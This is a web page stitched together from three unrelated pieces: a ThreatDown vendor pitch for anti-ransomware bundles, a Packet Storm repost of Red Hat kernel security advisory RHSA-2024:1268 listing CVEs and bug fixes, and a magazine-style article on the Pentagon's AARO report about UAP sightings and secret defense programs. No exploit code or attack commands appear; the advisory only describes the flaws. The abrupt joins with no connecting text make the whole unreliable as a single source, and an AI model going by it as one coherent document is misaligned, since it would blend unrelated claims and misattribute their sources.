ThreatDown bundles take a comprehensive approach to these challenges. Our integrated solutions combine EP, VPM, and EDR technologies, tailored to your organization’s specific needs. ThreatDown’s select bundles offer:

*   Advanced Web Protection: Blocking phishing websites ransomware gangs use for initial access.
*   RDP Shield: Securing remote access points with Brute Force Protection.
*   Continuous Vulnerability Scanning and Patch Management: Identifying and patching weaknesses before ransomware gangs can exploit them.
*   Sophisticated EDR: Detecting and neutralizing advanced threats such as LockBit within the network.
*   Ransomware Rollback: Reversing the impact of any successful attacks.

ThreatDown EDR detecting LockBit ransomware

ThreatDown automatically quarantining LockBit ransomware

For resource-constrained organizations, select ThreatDown bundles offer Managed Detection and Response (MDR) services, providing expert monitoring and swift threat response to ransomware threats—without the need for large in-house cybersecurity teams.

Our business solutions remove all remnants of ransomware and prevent you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

 Ransomware review: March 2024 

Red Hat Security Advisory 2024-1268-03 - An update for kernel is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.2 Telecommunications Update Service. Issues addressed include null pointer, out of bounds write, and use-after-free vulnerabilities.

The following advisory data is extracted from:

https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1268.json

Red Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.

- Packet Storm Staff

====================================================================  
Red Hat Security Advisory

Synopsis:           Important: kernel security and bug fix update  
Advisory ID:        RHSA-2024:1268-03  
Product:            Red Hat Enterprise Linux  
Advisory URL:       https://access.redhat.com/errata/RHSA-2024:1268  
Issue date:         2024-03-12  
Revision:           03  
CVE Names:          CVE-2022-3545  
====================================================================

Summary: 

An update for kernel is now available for Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.2 Update Services for SAP Solutions, and Red Hat Enterprise Linux 8.2 Telecommunications Update Service.

Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.

Description:

The kernel packages contain the Linux kernel, the core of any Linux operating system.

Security Fix(es):

* kernel: nf_tables: stack-out-of-bounds-read in nft_byteorder_eval() (CVE-2023-35001,ZDI-CAN-20721)

* hw: Intel: Gather Data Sampling (GDS) side channel vulnerability (CVE-2022-40982,Downfall)

* kernel: net/sched: sch_qfq component can be exploited if in qfq_change_agg function happens qfq_enqueue overhead (CVE-2023-3611)

* kernel: fbcon: out-of-sync arrays in fbcon_mode_deleted due to wrong con2fb_map assignment (CVE-2023-38409)

* kernel: net/sched: sch_hfsc UAF (CVE-2023-4623)

* kernel: null-ptr-deref vulnerabilities in sl_tx_timeout in drivers/net/slip   (CVE-2022-41858)

* kernel: nfp: use-after-free in area_cache_get() (CVE-2022-3545)

* kernel: use-after-free in l2cap_sock_release in net/bluetooth/l2cap_sock.c (CVE-2023-40283)

* kernel: use after free in nvmet_tcp_free_crypto in NVMe (CVE-2023-5178)

* kernel: IGB driver inadequate buffer size for frames larger than MTU (CVE-2023-45871)

* kernel: out-of-bounds write in qfq_change_class function (CVE-2023-31436)

* kernel: inactive elements in nft_pipapo_walk (CVE-2023-6817)

* kernel: ktls overwrites readonly memory pages when using function splice with a ktls socket as destination (CVE-2024-0646)

* kernel: UAF in nftables when nft_set_lookup_global triggered after handling named and anonymous sets in batch requests (CVE-2023-3390)

* kernel: vmwgfx: NULL pointer dereference in vmw_cmd_dx_define_query (CVE-2022-38096)

* kernel: use-after-free in sch_qfq network scheduler (CVE-2023-4921)

Bug Fix(es):

* kernel: fbcon: out-of-sync arrays in fbcon_mode_deleted due to wrong con2fb_map assignment (JIRA:RHEL-1203)

* How to reduce or prevent thousands of kworker/events_freezable_power_efficient threads being created every time multipath -ll is run (JIRA:RHEL-15054)

* kernel: net/sched: sch_hfsc UAF (JIRA:RHEL-16461)

* [SanityOnly][kernel]BUG: sleeping function called from invalid context at kernel/locking/spinlock_rt.c:35 at: sock_map_update_elem_sys+0x85/0x2a0 (JIRA:RHEL-6126)

* kernel: hw: Intel: Gather Data Sampling (GDS) side channel vulnerability (JIRA:RHEL-9246)

* ipoib mcast lockup fix (JIRA:RHEL-19695)

Solution:

https://access.redhat.com/articles/11258

CVEs:

CVE-2022-3545

References:

https://access.redhat.com/security/updates/classification/#important  
https://bugzilla.redhat.com/show_bug.cgi?id=2133452  
https://bugzilla.redhat.com/show_bug.cgi?id=2144379  
https://bugzilla.redhat.com/show_bug.cgi?id=2161310  
https://bugzilla.redhat.com/show_bug.cgi?id=2192671  
https://bugzilla.redhat.com/show_bug.cgi?id=2213260  
https://bugzilla.redhat.com/show_bug.cgi?id=2220892  
https://bugzilla.redhat.com/show_bug.cgi?id=2223949  
https://bugzilla.redhat.com/show_bug.cgi?id=2225191  
https://bugzilla.redhat.com/show_bug.cgi?id=2230042  
https://bugzilla.redhat.com/show_bug.cgi?id=2231800  
https://bugzilla.redhat.com/show_bug.cgi?id=2237757  
https://bugzilla.redhat.com/show_bug.cgi?id=2241924  
https://bugzilla.redhat.com/show_bug.cgi?id=2244723  
https://bugzilla.redhat.com/show_bug.cgi?id=2245514  
https://bugzilla.redhat.com/show_bug.cgi?id=2253908  
https://bugzilla.redhat.com/show_bug.cgi?id=2255139

Red Hat Security Advisory 2024-1268-03

The Pentagon says it’s not hiding aliens, but it stops notably short of saying what it is hiding. Here are the key questions that remain unanswered—some answers could be weirder than UFOs.

But what, then, were those programs? Herein lies the most intriguing—and potentially ground-breaking—question that the Pentagon study leaves us wondering: What exactly are the secret compartmentalized programs that the whistleblowers and government witnesses _misidentified_ as being related to UAP technology? What, exactly, are the Pentagon, intelligence community, or defense contractors working on that, from a concentric circle or two away inside the shadowy world of SAPs, looks and sounds like reverse-engineering out-of-this-world technology or even studying so-called “non-human biologics”?

There are at least four clear possibilities.

Secret Tech From Foreign Nations

First, what exotic technological possibilities have been recovered from unknown _terrestrial_ sources? For example, if the government is working on reverse-engineering technologies, those technologies are likely from advanced adversary nation-states like China, Russia, and Iran, and perhaps even quasi-allies like Israel that may be more limited in their technology-sharing with the US. What have other countries mastered that we haven’t?

A Question of ‘Peculiar Characteristics’

Second, what technologies has the US mastered that the public doesn’t know about? One of the common threads of UFO sightings across decades have been secret military aircraft and spacecraft in development or not yet publicly acknowledged. For example, the CIA estimated that the U-2 spy plane in the 1950s accounted for as much as half of reported UFO sightings. And the AARO report spends a half-dozen pages documenting how confusion over subsequent generations of secret US government aircraft appear to have also contributed to the great intergalactic game of telephone of UFO programs inside the government, including modern Predator, Reaper, and Global Hawk drones. AARO investigated one claim where a witness reported hearing a former US military service member had touched an extraterrestrial spacecraft, but when they tracked down the service member, he said that the conversation was likely a garbled version of the time he touched an F-117 Nighthawk stealth fighter at a secret facility.

There are surely other secret craft still in testing and development now, including the B-21 stealth bomber, which had its first test flight in November and is now in testing at Edwards Air Force Base in California, as well as others we don’t know about. The government can still surprise us with unknown craft—like the until-then-unknown modified stealthy helicopter left behind on the Pakistan raid to kill Osama bin Laden. And some of these still-classified efforts are likely causing UFO confusion too: AARO untangled one witness’s claim of spotting a UAP with “peculiar characteristics” at a specific time and place and were able to determine, “at the time the interviewee said he observed the event, the DOD was conducting tests of a platform protected by a SAP. The seemingly strange characteristics reported by the interviewee match closely with the platform’s characteristics, which was being tested at a military facility in the time frame the interviewee was there.” So what was that craft—and what were its “peculiar characteristics?”

Relatedly, the US military has a classified spaceship, the X-37B, that has regularly orbited around the Earth since its first mission in 2010—it just blasted off on its seventh and most recent mission in December—and its previous, sixth, mission lasted a record-breaking 908 days in orbit. The Pentagon has said remarkably little about what it does up there for years at a time. What secret space-related or aviation-related programs is the government running that outsiders confuse as alien spacecraft?

A Material Matter

The third likely area of tech development that might appear to outsiders to be UFO-related is more speculative basic research and development: What propulsion systems or material-science breakthroughs are defense contractors at work on right now that could transform our collective future? Again, AARO found such confusion taking place: After one witness reported hearing that “aliens” had observed one secret government test, AARO traced the allegation back to find “the conversation likely referenced a test and evaluation unit that had a nickname with ‘alien’ connotations at the specific installation mentioned. The nature of the test described by the interviewee closely matched the description of a specific materials test conveyed to AARO investigators.” So what materials were being tested there?

There are some puzzling materials-science breadcrumbs wrapped throughout the AARO report. It found one instance where “a private sector organization claimed to have in its possession material from an extraterrestrial craft recovered from a crash at an unknown location from the 1940s or 1950s. The organization claimed that the material had the potential to act as a THz frequency waveguide, and therefore, could exhibit ‘anti-gravity’ and ‘mass reduction’ properties under the appropriate conditions.” Ultimately, though, the new report concluded, “AARO and a leading science laboratory concluded that the material is a metallic alloy, terrestrial in nature, and possibly of USAF \[US Air Force\] origin, based on its materials characterization.”

A Knowledge Limit

Fourth and lastly is the category of the truly weird: Scientists at the forefront of physics point out that we should be humble about how little of the universe we truly understand; as Harvard astronomy chair Avi Loeb explains, effectively all that we’ve learned about relativity and quantum physics has unfolded in the span of a single human lifespan, and astounding new discoveries continue to amaze scientists. Just last summer, scientists announced they’d detected for the first time gravitational waves criss-crossing the universe that rippled through space-time, and astrophysicists continue to suspect that the universe is far weirder than we think. (Italian astrophysicist Carlo Rovelli last year posited the existence of “white holes” that would be related to black holes, which, he pointed out, were still a mystery just 25 years ago when he was starting his career.)

Answers here could be almost unfathomably weird—think parallel dimensions or the ability to travel at a fraction of the speed of light. And one of the most intriguing questions left by the UAP “game of telephone” is whether there are truly astounding advances in physics that government scientists, defense contractors, or research laboratories or centers could be feeling around that could also appear from the outside to be UFO-related.

Tag

#sap